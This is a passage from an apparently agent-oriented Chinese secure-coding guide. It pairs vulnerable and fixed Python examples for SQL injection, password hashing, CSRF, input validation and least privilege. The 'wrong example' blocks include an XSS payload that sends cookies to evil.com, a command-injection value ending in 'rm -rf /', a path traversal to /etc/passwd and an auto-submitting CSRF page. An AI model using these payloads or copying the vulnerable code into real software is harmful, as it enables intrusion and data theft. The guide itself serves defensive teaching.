+
```python
|
|
146
|
+
# 参数化查询 -- 所有数据库驱动都支持
|
|
147
|
+
def get_user(username: str):
|
|
148
|
+
return db.execute(
|
|
149
|
+
"SELECT * FROM users WHERE username = %s",
|
|
150
|
+
(username,) # 参数作为元组传递,驱动自动转义
|
|
151
|
+
)
|
|
152
|
+
|
|
153
|
+
def search_products(keyword: str):
|
|
154
|
+
return db.execute(
|
|
155
|
+
"SELECT * FROM products WHERE name LIKE %s",
|
|
156
|
+
(f"%{keyword}%",)
|
|
157
|
+
)
|
|
158
|
+
|
|
159
|
+
# ORM 的查询方式天然安全
|
|
160
|
+
def get_user_orm(username: str):
|
|
161
|
+
return User.objects.filter(username=username).first()
|
|
162
|
+
|
|
163
|
+
# SQLAlchemy 参数化
|
|
164
|
+
def get_orders(session: Session, user_id: int, status: str):
|
|
165
|
+
return session.execute(
|
|
166
|
+
text("SELECT * FROM orders WHERE user_id = :user_id AND status = :status"),
|
|
167
|
+
{"user_id": user_id, "status": status},
|
|
168
|
+
).fetchall()
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
```python
|
|
172
|
+
# 动态 SQL 构造(安全方式)-- 用于动态 WHERE 条件
|
|
173
|
+
def search_orders(filters: dict):
|
|
174
|
+
conditions = []
|
|
175
|
+
params = {}
|
|
176
|
+
|
|
177
|
+
if "user_id" in filters:
|
|
178
|
+
conditions.append("user_id = :user_id")
|
|
179
|
+
params["user_id"] = filters["user_id"]
|
|
180
|
+
|
|
181
|
+
if "status" in filters:
|
|
182
|
+
conditions.append("status = :status")
|
|
183
|
+
params["status"] = filters["status"]
|
|
184
|
+
|
|
185
|
+
if "min_amount" in filters:
|
|
186
|
+
conditions.append("total_amount >= :min_amount")
|
|
187
|
+
params["min_amount"] = filters["min_amount"]
|
|
188
|
+
|
|
189
|
+
where_clause = " AND ".join(conditions) if conditions else "1=1"
|
|
190
|
+
query = text(f"SELECT * FROM orders WHERE {where_clause} ORDER BY created_at DESC")
|
|
191
|
+
return db.execute(query, params).fetchall()
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
### 检测方法
|
|
195
|
+
- `bandit` 的 `B608` 规则(SQL injection via string formatting)。
|
|
196
|
+
- `semgrep` 的 `python.sqlalchemy.security.sqlalchemy-execute-raw-query` 规则。
|
|
197
|
+
- 搜索代码中 `f"SELECT`、`f"INSERT`、`f"UPDATE`、`f"DELETE`。
|
|
198
|
+
- 搜索 `.execute(` 调用中包含 `+` 或 `format` 或 `f"` 的行。
|
|
199
|
+
|
|
200
|
+
### 修复步骤
|
|
201
|
+
1. 搜索所有 SQL 拼接代码(正则:`f["'].*SELECT|execute.*\+`)。
|
|
202
|
+
2. 将每处拼接改为参数化查询(`%s` 占位符 + 参数元组)。
|
|
203
|
+
3. 对于动态 SQL,使用 SQLAlchemy 的 `text()` + 命名参数。
|
|
204
|
+
4. 在 CI 中配置 `bandit` B608 规则,阻断 SQL 拼接代码合入。
|
|
205
|
+
5. 编写 SQL 注入测试用例,验证参数化查询的防护效果。
|
|
206
|
+
|
|
207
|
+
### Agent Checklist
|
|
208
|
+
- [ ] 零 SQL 字符串拼接
|
|
209
|
+
- [ ] 所有 SQL 使用参数化查询
|
|
210
|
+
- [ ] `bandit` B608 规则在 CI 中启用
|
|
211
|
+
- [ ] ORM 查询不使用 `extra()` / `raw()` 传入用户输入
|
|
212
|
+
- [ ] 有 SQL 注入测试用例
|
|
213
|
+
|
|
214
|
+
---
|
|
215
|
+
|
|
216
|
+
## 3. 明文存储密码(Plaintext Password Storage)
|
|
217
|
+
|
|
218
|
+
### 描述
|
|
219
|
+
将用户密码以明文或可逆加密方式存储在数据库中。一旦数据库泄露,所有用户密码直接暴露。由于用户普遍在多个网站使用相同密码,影响远超本系统。
|
|
220
|
+
|
|
221
|
+
### 错误示例
|
|
222
|
+
```python
|
|
223
|
+
# 明文存储
|
|
224
|
+
def register(username, password):
|
|
225
|
+
db.execute(
|
|
226
|
+
"INSERT INTO users (username, password) VALUES (%s, %s)",
|
|
227
|
+
(username, password) # 直接存储明文密码
|
|
228
|
+
)
|
|
229
|
+
|
|
230
|
+
# 可逆加密 -- 不比明文好多少
|
|
231
|
+
import base64
|
|
232
|
+
|
|
233
|
+
def register(username, password):
|
|
234
|
+
encoded = base64.b64encode(password.encode()).decode()
|
|
235
|
+
db.execute(
|
|
236
|
+
"INSERT INTO users (username, password) VALUES (%s, %s)",
|
|
237
|
+
(username, encoded)
|
|
238
|
+
)
|
|
239
|
+
|
|
240
|
+
# MD5 / SHA1 -- 已不安全,彩虹表可快速破解
|
|
241
|
+
import hashlib
|
|
242
|
+
|
|
243
|
+
def register(username, password):
|
|
244
|
+
hashed = hashlib.md5(password.encode()).hexdigest()
|
|
245
|
+
db.execute(
|
|
246
|
+
"INSERT INTO users (username, password_hash) VALUES (%s, %s)",
|
|
247
|
+
(username, hashed)
|
|
248
|
+
)
|
|
249
|
+
|
|
250
|
+
# SHA256 无盐 -- 同样可被彩虹表破解
|
|
251
|
+
def register(username, password):
|
|
252
|
+
hashed = hashlib.sha256(password.encode()).hexdigest()
|
|
253
|
+
db.execute(
|
|
254
|
+
"INSERT INTO users (username, password_hash) VALUES (%s, %s)",
|
|
255
|
+
(username, hashed)
|
|
256
|
+
)
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
### 正确示例
|
|
260
|
+
```python
|
|
261
|
+
# 使用 bcrypt(推荐)
|
|
262
|
+
import bcrypt
|
|
263
|
+
|
|
264
|
+
def hash_password(password: str) -> str:
|
|
265
|
+
"""使用 bcrypt 哈希密码,自动加盐,自适应工作因子。"""
|
|
266
|
+
salt = bcrypt.gensalt(rounds=12) # work factor = 12
|
|
267
|
+
return bcrypt.hashpw(password.encode("utf-8"), salt).decode("utf-8")
|
|
268
|
+
|
|
269
|
+
def verify_password(password: str, hashed: str) -> bool:
|
|
270
|
+
return bcrypt.checkpw(password.encode("utf-8"), hashed.encode("utf-8"))
|
|
271
|
+
|
|
272
|
+
# 使用 argon2(更现代,Argon2id 变体推荐)
|
|
273
|
+
from argon2 import PasswordHasher
|
|
274
|
+
|
|
275
|
+
ph = PasswordHasher(
|
|
276
|
+
time_cost=3, # 迭代次数
|
|
277
|
+
memory_cost=65536, # 内存使用 (KB)
|
|
278
|
+
parallelism=4, # 并行度
|
|
279
|
+
)
|
|
280
|
+
|
|
281
|
+
def hash_password(password: str) -> str:
|
|
282
|
+
return ph.hash(password)
|
|
283
|
+
|
|
284
|
+
def verify_password(password: str, hashed: str) -> bool:
|
|
285
|
+
try:
|
|
286
|
+
return ph.verify(hashed, password)
|
|
287
|
+
except Exception:
|
|
288
|
+
return False
|
|
289
|
+
|
|
290
|
+
# Django 自带安全的密码处理
|
|
291
|
+
from django.contrib.auth.hashers import make_password, check_password
|
|
292
|
+
|
|
293
|
+
hashed = make_password("user_password") # PBKDF2 + SHA256 + 盐
|
|
294
|
+
is_valid = check_password("user_password", hashed)
|
|
295
|
+
|
|
296
|
+
# 注册流程
|
|
297
|
+
def register(username: str, password: str) -> User:
|
|
298
|
+
_validate_password_strength(password) # 强密码校验
|
|
299
|
+
user = User(
|
|
300
|
+
username=username,
|
|
301
|
+
password_hash=hash_password(password),
|
|
302
|
+
)
|
|
303
|
+
db.add(user)
|
|
304
|
+
db.commit()
|
|
305
|
+
return user
|
|
306
|
+
```
|
|
307
|
+
|
|
308
|
+
### 检测方法
|
|
309
|
+
- 数据库中 `password` 列为 VARCHAR 且非 60+ 字符(bcrypt 哈希为 60 字符)。
|
|
310
|
+
- 代码中 import `hashlib` 且用于密码处理(`md5`、`sha1`、`sha256` 直接哈希)。
|
|
311
|
+
- 代码中 import `base64` 且用于密码处理。
|
|
312
|
+
- `bandit` 的 `B303` 规则(Use of insecure MD2, MD4, MD5, or SHA1 hash function)。
|
|
313
|
+
- 搜索 `password` 字段的赋值,检查是否经过哈希处理。
|
|
314
|
+
|
|
315
|
+
### 修复步骤
|
|
316
|
+
1. 确认当前密码存储方式(明文 / MD5 / SHA256 / bcrypt)。
|
|
317
|
+
2. 选择安全的哈希算法(bcrypt / argon2id / PBKDF2)。
|
|
318
|
+
3. 编写数据迁移脚本:
|
|
319
|
+
a. 如果当前是明文 -> 直接哈希所有密码。
|
|
320
|
+
b. 如果当前是 MD5/SHA -> 对现有哈希再做一次 bcrypt 包装,登录时双重验证。
|
|
321
|
+
4. 下次用户登录成功后,用新算法重新哈希并更新。
|
|
322
|
+
5. 强制所有用户修改密码(安全起见)。
|
|
323
|
+
|
|
324
|
+
### Agent Checklist
|
|
325
|
+
- [ ] 密码使用 bcrypt / argon2id / PBKDF2 哈希
|
|
326
|
+
- [ ] 无 MD5 / SHA1 / SHA256 直接哈希密码
|
|
327
|
+
- [ ] 无 base64 "加密" 密码
|
|
328
|
+
- [ ] 无明文密码存储
|
|
329
|
+
- [ ] 密码列长度 >= 60 字符
|
|
330
|
+
- [ ] 有密码强度校验规则
|
|
331
|
+
|
|
332
|
+
---
|
|
333
|
+
|
|
334
|
+
## 4. 无 CSRF 保护(Missing CSRF Protection)
|
|
335
|
+
|
|
336
|
+
### 描述
|
|
337
|
+
Web 应用未实现 CSRF(Cross-Site Request Forgery)防护,攻击者可以诱导已登录用户在不知情的情况下执行敏感操作(转账、修改密码、删除数据)。
|
|
338
|
+
|
|
339
|
+
### 错误示例
|
|
340
|
+
```python
|
|
341
|
+
# 无 CSRF 保护的表单处理
|
|
342
|
+
@app.post("/transfer")
|
|
343
|
+
def transfer(request):
|
|
344
|
+
from_account = request.form["from_account"]
|
|
345
|
+
to_account = request.form["to_account"]
|
|
346
|
+
amount = request.form["amount"]
|
|
347
|
+
# 直接执行转账,无 CSRF 验证
|
|
348
|
+
bank_service.transfer(from_account, to_account, amount)
|
|
349
|
+
return {"status": "success"}
|
|
350
|
+
```
|
|
351
|
+
|
|
352
|
+
```html
|
|
353
|
+
<!-- 攻击者的恶意页面 -->
|
|
354
|
+
<html>
|
|
355
|
+
<body onload="document.getElementById('csrf-form').submit()">
|
|
356
|
+
<form id="csrf-form" action="https://bank.example.com/transfer" method="POST">
|
|
357
|
+
<input type="hidden" name="from_account" value="victim-account" />
|
|
358
|
+
<input type="hidden" name="to_account" value="attacker-account" />
|
|
359
|
+
<input type="hidden" name="amount" value="10000" />
|
|
360
|
+
</form>
|
|
361
|
+
</body>
|
|
362
|
+
</html>
|
|
363
|
+
```
|
|
364
|
+
|
|
365
|
+
### 正确示例
|
|
366
|
+
```python
|
|
367
|
+
# Flask -- 使用 Flask-WTF CSRF 保护
|
|
368
|
+
from flask_wtf.csrf import CSRFProtect
|
|
369
|
+
|
|
370
|
+
csrf = CSRFProtect(app)
|
|
371
|
+
|
|
372
|
+
@app.post("/transfer")
|
|
373
|
+
@csrf.exempt # 绝不使用!除非是 API 端点
|
|
374
|
+
def transfer(request):
|
|
375
|
+
...
|
|
376
|
+
|
|
377
|
+
# Django -- CSRF 默认启用
|
|
378
|
+
# settings.py
|
|
379
|
+
MIDDLEWARE = [
|
|
380
|
+
"django.middleware.csrf.CsrfViewMiddleware", # 默认已包含
|
|
381
|
+
]
|
|
382
|
+
|
|
383
|
+
# 模板中使用 csrf_token
|
|
384
|
+
# <form method="POST">{% csrf_token %} ... </form>
|
|
385
|
+
```
|
|
386
|
+
|
|
387
|
+
```python
|
|
388
|
+
# SPA + API 场景 -- 使用 Double Submit Cookie + SameSite
|
|
389
|
+
from fastapi import FastAPI, Request, Response
|
|
390
|
+
from fastapi.middleware.cors import CORSMiddleware
|
|
391
|
+
import secrets
|
|
392
|
+
|
|
393
|
+
app = FastAPI()
|
|
394
|
+
|
|
395
|
+
# 严格的 CORS 配置
|
|
396
|
+
app.add_middleware(
|
|
397
|
+
CORSMiddleware,
|
|
398
|
+
allow_origins=["https://app.example.com"], # 不用 *
|
|
399
|
+
allow_credentials=True,
|
|
400
|
+
allow_methods=["GET", "POST", "PUT", "DELETE"],
|
|
401
|
+
allow_headers=["X-CSRF-Token", "Content-Type"],
|
|
402
|
+
)
|
|
403
|
+
|
|
404
|
+
@app.middleware("http")
|
|
405
|
+
async def csrf_middleware(request: Request, call_next):
|
|
406
|
+
if request.method in ("POST", "PUT", "PATCH", "DELETE"):
|
|
407
|
+
cookie_token = request.cookies.get("csrf_token")
|
|
408
|
+
header_token = request.headers.get("X-CSRF-Token")
|
|
409
|
+
if not cookie_token or cookie_token != header_token:
|
|
410
|
+
return JSONResponse(status_code=403, content={"error": "CSRF validation failed"})
|
|
411
|
+
response = await call_next(request)
|
|
412
|
+
# 设置 CSRF Cookie
|
|
413
|
+
if "csrf_token" not in request.cookies:
|
|
414
|
+
token = secrets.token_urlsafe(32)
|
|
415
|
+
response.set_cookie(
|
|
416
|
+
"csrf_token",
|
|
417
|
+
token,
|
|
418
|
+
httponly=False, # JS 需要读取
|
|
419
|
+
secure=True, # 仅 HTTPS
|
|
420
|
+
samesite="strict", # 防止跨站发送
|
|
421
|
+
max_age=3600,
|
|
422
|
+
)
|
|
423
|
+
return response
|
|
424
|
+
```
|
|
425
|
+
|
|
426
|
+
```javascript
|
|
427
|
+
// 前端:每个请求携带 CSRF Token
|
|
428
|
+
function getCsrfToken() {
|
|
429
|
+
return document.cookie
|
|
430
|
+
.split("; ")
|
|
431
|
+
.find((row) => row.startsWith("csrf_token="))
|
|
432
|
+
?.split("=")[1];
|
|
433
|
+
}
|
|
434
|
+
|
|
435
|
+
async function apiPost(url, data) {
|
|
436
|
+
return fetch(url, {
|
|
437
|
+
method: "POST",
|
|
438
|
+
headers: {
|
|
439
|
+
"Content-Type": "application/json",
|
|
440
|
+
"X-CSRF-Token": getCsrfToken(),
|
|
441
|
+
},
|
|
442
|
+
credentials: "include",
|
|
443
|
+
body: JSON.stringify(data),
|
|
444
|
+
});
|
|
445
|
+
}
|
|
446
|
+
```
|
|
447
|
+
|
|
448
|
+
### 检测方法
|
|
449
|
+
- 表单提交无 CSRF Token 字段。
|
|
450
|
+
- Cookie 未设置 `SameSite` 属性或设置为 `None`。
|
|
451
|
+
- API 无 CSRF 中间件或 `X-CSRF-Token` header 校验。
|
|
452
|
+
- CORS 配置中 `allow_origins = ["*"]`。
|
|
453
|
+
- `OWASP ZAP` 或 `Burp Suite` 扫描报告 CSRF 漏洞。
|
|
454
|
+
|
|
455
|
+
### 修复步骤
|
|
456
|
+
1. 确定应用类型(传统表单 vs SPA + API)。
|
|
457
|
+
2. 传统表单:启用框架自带的 CSRF 中间件(Django / Flask-WTF)。
|
|
458
|
+
3. SPA + API:实现 Double Submit Cookie 模式 + SameSite Cookie。
|
|
459
|
+
4. 设置 Cookie 属性:`Secure=true`、`SameSite=Strict`、`HttpOnly`(Session Cookie)。
|
|
460
|
+
5. 配置严格的 CORS 策略,不允许 `*` 源。
|
|
461
|
+
6. 使用 OWASP ZAP 验证 CSRF 防护效果。
|
|
462
|
+
|
|
463
|
+
### Agent Checklist
|
|
464
|
+
- [ ] 表单提交包含 CSRF Token
|
|
465
|
+
- [ ] Cookie 设置 `SameSite=Strict` 或 `Lax`
|
|
466
|
+
- [ ] CORS 不允许 `*` 源
|
|
467
|
+
- [ ] API 有 CSRF 中间件
|
|
468
|
+
- [ ] 安全扫描无 CSRF 漏洞
|
|
469
|
+
|
|
470
|
+
---
|
|
471
|
+
|
|
472
|
+
## 5. 不验证输入(Missing Input Validation)
|
|
473
|
+
|
|
474
|
+
### 描述
|
|
475
|
+
不对用户输入进行验证和清洗,直接用于业务逻辑、数据库查询、命令执行或页面渲染。导致 SQL 注入、XSS、命令注入、路径遍历等攻击,以及业务数据异常。
|
|
476
|
+
|
|
477
|
+
### 错误示例
|
|
478
|
+
```python
|
|
479
|
+
# 无输入验证
|
|
480
|
+
@app.post("/users")
|
|
481
|
+
def create_user(data: dict):
|
|
482
|
+
# 不验证 email 格式、name 长度、age 范围
|
|
483
|
+
db.execute(
|
|
484
|
+
"INSERT INTO users (name, email, age) VALUES (%s, %s, %s)",
|
|
485
|
+
(data.get("name"), data.get("email"), data.get("age"))
|
|
486
|
+
)
|
|
487
|
+
return {"status": "created"}
|
|
488
|
+
|
|
489
|
+
# 路径遍历
|
|
490
|
+
@app.get("/files/{filename}")
|
|
491
|
+
def get_file(filename: str):
|
|
492
|
+
# 攻击者输入: ../../etc/passwd
|
|
493
|
+
with open(f"/uploads/{filename}", "r") as f:
|
|
494
|
+
return f.read()
|
|
495
|
+
|
|
496
|
+
# 命令注入
|
|
497
|
+
@app.post("/tools/ping")
|
|
498
|
+
def ping(host: str):
|
|
499
|
+
# 攻击者输入: 8.8.8.8; rm -rf /
|
|
500
|
+
result = os.popen(f"ping -c 4 {host}").read()
|
|
501
|
+
return {"result": result}
|
|
502
|
+
|
|
503
|
+
# XSS -- 未转义输出
|
|
504
|
+
@app.get("/search")
|
|
505
|
+
def search(q: str):
|
|
506
|
+
return f"<h1>Search results for: {q}</h1>"
|
|
507
|
+
# 攻击者输入: <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
|
|
508
|
+
```
|
|
509
|
+
|
|
510
|
+
### 正确示例
|
|
511
|
+
```python
|
|
512
|
+
from pydantic import BaseModel, EmailStr, Field, field_validator
|
|
513
|
+
from pathlib import Path
|
|
514
|
+
import re
|
|
515
|
+
import shlex
|
|
516
|
+
import subprocess
|
|
517
|
+
|
|
518
|
+
# Pydantic 模型做输入验证
|
|
519
|
+
class CreateUserRequest(BaseModel):
|
|
520
|
+
name: str = Field(min_length=1, max_length=100, pattern=r"^[\w\s\-\.]+$")
|
|
521
|
+
email: EmailStr
|
|
522
|
+
age: int = Field(ge=0, le=150)
|
|
523
|
+
|
|
524
|
+
@field_validator("name")
|
|
525
|
+
@classmethod
|
|
526
|
+
def sanitize_name(cls, v: str) -> str:
|
|
527
|
+
return v.strip()
|
|
528
|
+
|
|
529
|
+
@app.post("/users", response_model=UserResponse, status_code=201)
|
|
530
|
+
def create_user(data: CreateUserRequest): # Pydantic 自动验证
|
|
531
|
+
return user_service.create(data)
|
|
532
|
+
|
|
533
|
+
# 路径遍历防护
|
|
534
|
+
UPLOAD_DIR = Path("/uploads").resolve()
|
|
535
|
+
|
|
536
|
+
@app.get("/files/{filename}")
|
|
537
|
+
def get_file(filename: str):
|
|
538
|
+
# 验证文件名不包含路径分隔符
|
|
539
|
+
if "/" in filename or "\\" in filename or ".." in filename:
|
|
540
|
+
raise HTTPException(status_code=400, detail="Invalid filename")
|
|
541
|
+
|
|
542
|
+
file_path = (UPLOAD_DIR / filename).resolve()
|
|
543
|
+
# 确认解析后的路径仍在上传目录内
|
|
544
|
+
if not file_path.is_relative_to(UPLOAD_DIR):
|
|
545
|
+
raise HTTPException(status_code=403, detail="Access denied")
|
|
546
|
+
|
|
547
|
+
if not file_path.exists():
|
|
548
|
+
raise HTTPException(status_code=404, detail="File not found")
|
|
549
|
+
|
|
550
|
+
return FileResponse(file_path)
|
|
551
|
+
|
|
552
|
+
# 命令注入防护 -- 使用参数列表而非字符串
|
|
553
|
+
ALLOWED_HOSTS_PATTERN = re.compile(r"^[a-zA-Z0-9\.\-]+$")
|
|
554
|
+
|
|
555
|
+
@app.post("/tools/ping")
|
|
556
|
+
def ping(host: str):
|
|
557
|
+
if not ALLOWED_HOSTS_PATTERN.match(host):
|
|
558
|
+
raise HTTPException(status_code=400, detail="Invalid host format")
|
|
559
|
+
|
|
560
|
+
result = subprocess.run(
|
|
561
|
+
["ping", "-c", "4", host], # 参数列表,不是字符串
|
|
562
|
+
capture_output=True,
|
|
563
|
+
text=True,
|
|
564
|
+
timeout=10,
|
|
565
|
+
)
|
|
566
|
+
return {"result": result.stdout}
|
|
567
|
+
|
|
568
|
+
# XSS 防护 -- 使用模板引擎自动转义
|
|
569
|
+
from markupsafe import escape
|
|
570
|
+
|
|
571
|
+
@app.get("/search")
|
|
572
|
+
def search(q: str):
|
|
573
|
+
safe_q = escape(q) # 自动转义 HTML 特殊字符
|
|
574
|
+
return templates.TemplateResponse("search.html", {"query": safe_q})
|
|
575
|
+
```
|
|
576
|
+
|
|
577
|
+
### 检测方法
|
|
578
|
+
- API handler 接收 `dict` 而非 Pydantic / Marshmallow 模型。
|
|
579
|
+
- `os.popen()`、`os.system()`、`subprocess.call(shell=True)` 使用用户输入。
|
|
580
|
+
- `open()` 的路径参数包含用户输入且无 `resolve()` + `is_relative_to()` 校验。
|
|
581
|
+
- HTML 模板中使用 `|safe` / `{!! !!}` / `dangerouslySetInnerHTML`。
|
|
582
|
+
- `bandit` B602 (subprocess_popen_with_shell_equals_true)、B605 (start_process_with_a_shell)。
|
|
583
|
+
|
|
584
|
+
### 修复步骤
|
|
585
|
+
1. 所有 API 输入使用 Pydantic / Marshmallow / Zod 模型验证。
|
|
586
|
+
2. 文件路径操作使用 `Path.resolve()` + `is_relative_to()` 防止遍历。
|
|
587
|
+
3. 系统命令使用 `subprocess.run()` + 参数列表,不用 `shell=True`。
|
|
588
|
+
4. HTML 输出使用模板引擎自动转义,禁用 `|safe` 除非内容来源可信。
|
|
589
|
+
5. 在 CI 中启用 `bandit` 安全扫描。
|
|
590
|
+
|
|
591
|
+
### Agent Checklist
|
|
592
|
+
- [ ] 所有 API 输入有 Schema 验证
|
|
593
|
+
- [ ] 文件路径操作有遍历防护
|
|
594
|
+
- [ ] 无 `os.popen()` / `os.system()` / `shell=True`
|
|
595
|
+
- [ ] HTML 输出自动转义
|
|
596
|
+
- [ ] `bandit` 安全扫描通过
|
|
597
|
+
|
|
598
|
+
---
|
|
599
|
+
|
|
600
|
+
## 6. 过多权限(Excessive Permissions)
|
|
601
|
+
|
|
602
|
+
### 描述
|
|
603
|
+
系统组件或用户拥有超出其实际需要的权限,违反最小权限原则。例如应用使用数据库 root 账号、所有 API 使用同一个管理员 Token、IAM 策略使用 `Action: "*"`、容器以 root 用户运行。
|
|
604
|
+
|
|
605
|
+
### 错误示例
|
|
606
|
+
```python
|
|
607
|
+
# 应用使用数据库 root 账号
|
|
608
|
+
DATABASE_URL = "postgresql://postgres:password@db:5432/myapp" # 超级用户
|
|
609
|
+
|
|
610
|
+
# 所有操作使用同一个 admin token
|
|
611
|
+
ADMIN_TOKEN = os.environ["ADMIN_TOKEN"]
|
|
612
|
+
|
|
613
|
+
def call_user_service(path):
|
|
614
|
+
return requests.get(
|
|
615
|
+
f"{USER_SERVICE}{path}",
|
|
616
|
+
headers={"Authorization": f"Bearer {ADMIN_TOKEN}"} # 所有调用都是 admin
|
|
617
|
+
)
|
|
618
|
+
```
|
|
619
|
+
|
|
620
|
+
```yaml
|
|
621
|
+
# AWS IAM -- 全部权限
|
|
622
|
+
{
|
|
623
|
+
"Version": "2012-10-17",
|
|
624
|
+
"Statement": [{
|
|
625
|
+
"Effect": "Allow",
|
|
626
|
+
"Action": "*",
|
|
627
|
+
"Resource": "*"
|
|
628
|
+
}]
|
|
629
|
+
}
|
|
630
|
+
```
|
|
631
|
+
|
|
632
|
+
```dockerfile
|
|
633
|
+
# 容器以 root 运行
|
|
634
|
+
FROM python:3.11
|
|
635
|
+
COPY . /app
|
|
636
|
+
CMD ["python", "/app/main.py"] # 默认 root 用户
|
|
637
|
+
```
|
|
638
|
+
|
|
639
|
+
### 正确示例
|
|
640
|
+
```python
|
|
641
|
+
# 为应用创建专用数据库账号,只授予必要权限
|
|
642
|
+
# SQL:
|
|
643
|
+
# CREATE USER app_user WITH PASSWORD 'strong_password';
|
|
644
|
+
# GRANT SELECT, INSERT, UPDATE ON ALL TABLES IN SCHEMA public TO app_user;
|
|
645
|
+
# GRANT USAGE ON ALL SEQUENCES IN SCHEMA public TO app_user;
|
|
646
|
+
# -- 不授予 DELETE、DROP、ALTER 等危险权限
|
|
647
|
+
|
|
648
|
+
DATABASE_URL = "postgresql://app_user:strong_password@db:5432/myapp"
|
|
649
|
+
|
|
650
|
+
# 为只读场景创建只读账号
|
|
651
|
+
READ_DATABASE_URL = "postgresql://app_reader:reader_password@db-replica:5432/myapp"
|
|
652
|
+
```
|
|
653
|
+
|
|
654
|
+
```python
|
|
655
|
+
# 细粒度的服务间认证
|
|
656
|
+
class ServiceClient:
|
|
657
|
+
def __init__(self, service_name: str, scopes: list[str]):
|
|
658
|
+
self._service_name = service_name
|
|
659
|
+
self._scopes = scopes
|
|
660
|
+
|
|
661
|
+
def _get_token(self) -> str:
|
|
662
|
+
"""获取限定范围的服务 Token"""
|
|
663
|
+
return auth_service.get_service_token(
|
|
664
|
+
service=self._service_name,
|
|
665
|
+
scopes=self._scopes, # 只请求需要的权限
|
|
666
|
+
)
|
|
667
|
+
|
|
668
|
+
# 用户服务客户端 -- 只有 read:users 权限
|
|
669
|
+
user_client = ServiceClient("order-service", scopes=["read:users"])
|
|
670
|
+
|
|
671
|
+
# 支付服务客户端 -- 只有 create:charges 权限
|
|
672
|
+
payment_client = ServiceClient("order-service", scopes=["create:charges"])
|
|
673
|
+
```
|
|
674
|
+
|
|
675
|
+
```yaml
|
|
676
|
+
# AWS IAM -- 最小权限
|
|
677
|
+
{
|
|
678
|
+
"Version": "2012-10-17",
|
|
679
|
+
"Statement": [{
|
|
680
|
+
"Effect": "Allow",
|
|
681
|
+
"Action": [
|
|
682
|
+
"s3:GetObject",
|
|
683
|
+
"s3:PutObject"
|
|
684
|
+
],
|
|
685
|
+
"Resource": "arn:aws:s3:::my-app-uploads/*"
|
|
686
|
+
}, {
|
|
687
|
+
"Effect": "Allow",
|
|
688
|
+
"Action": [
|
|
689
|
+
"sqs:SendMessage",
|
|
690
|
+
"sqs:ReceiveMessage"
|
|
691
|
+
],
|
|
692
|
+
"Resource": "arn:aws:sqs:*:*:my-app-queue"
|
|
693
|
+
}]
|
|
694
|
+
}
|
|
695
|
+
```
|
|
696
|
+
|
|
697
|
+
```dockerfile
|
|
698
|
+
# 容器以非 root 用户运行
|
|
699
|
+
FROM python:3.11-slim
|
|
700
|
+
|
|
701
|
+
RUN groupadd -r appuser && useradd -r -g appuser -d /app -s /sbin/nologin appuser
|
|
702
|
+
|
|
703
|
+
WORKDIR /app
|
|
704
|
+
COPY --chown=appuser:appuser . .
|
|
705
|
+
RUN pip install --no-cache-dir -r requirements.txt
|
|
706
|
+
|
|
707
|
+
USER appuser
|
|
708
|
+
CMD ["python", "main.py"]
|
|
709
|
+
```
|
|
710
|
+
|
|
711
|
+
### 检测方法
|
|
712
|
+
- 数据库连接使用 `postgres` / `root` / `admin` 用户名。
|
|
713
|
+
- IAM 策略包含 `Action: "*"` 或 `Resource: "*"`。
|
|
714
|
+
- Dockerfile 无 `USER` 指令(默认 root)。
|
|
715
|
+
- 服务间调用使用共享的管理员 Token。
|
|
716
|
+
- `trivy` / `checkov` / `tfsec` 扫描 IaC 配置。
|
|
717
|
+
|
|
718
|
+
### 修复步骤
|
|
719
|
+
1. 审计所有数据库连接的用户权限,降级为最小权限。
|
|
720
|
+
2. 为只读场景创建只读数据库账号。
|
|
721
|
+
3. 审计 IAM 策略,将 `*` 替换为具体的 Action 和 Resource。
|
|
722
|
+
4. Dockerfile 添加 `USER` 指令,以非 root 用户运行。
|
|
723
|
+
5. 实现服务间的细粒度 Token(Scope-based)。
|
|
724
|
+
6. 定期审查权限,删除未使用的权限。
|
|
725
|
+
|
|
726
|
+
### Agent Checklist
|
|
727
|
+
- [ ] 数据库不使用超级用户账号
|
|
728
|
+
- [ ] IAM 策略无 `Action: "*"` 或 `Resource: "*"`
|
|
729
|
+
- [ ] 容器以非 root 用户运行
|
|
730
|
+
- [ ] 服务间认证有范围限制(Scoped Token)
|
|
731
|
+
- [ ] 读写分离场景使用只读账号
|
|
732
|
+
- [ ] 有定期权限审计机制
|
|
733
|
+
|
|
734
|
+
---
|
|
735
|
+
|
|
736
|
+
## 全局 Agent Checklist
|
|
737
|
+
|
|
738
|
+
| 检查项 | 阈值 | 工具 |
|
|
739
|
+
|--------|------|------|
|
|
740
|
+
| 硬编码密钥 | 0 处 | `gitleaks` / `trufflehog` |
|
|
741
|
+
| SQL 拼接 | 0 处 | `bandit` B608 / `semgrep` |
|
|
742
|
+
| 明文密码 | 0 处 | Code Review / DB 审查 |
|
|
743
|
+
| CSRF 防护 | 100% 写操作 | OWASP ZAP |
|
|
744
|
+
| 输入验证 | 100% API 端点 | Code Review / `bandit` |
|
|
745
|
+
| 超级用户权限 | 0 处 | IaC 扫描 / DB 审计 |
|
|
746
|
+
| Root 容器 | 0 个 | `trivy` / Dockerfile 审查 |
|
|
747
|
+
| 安全扫描通过 | 0 高危 | `bandit` + `semgrep` + `trivy` |
|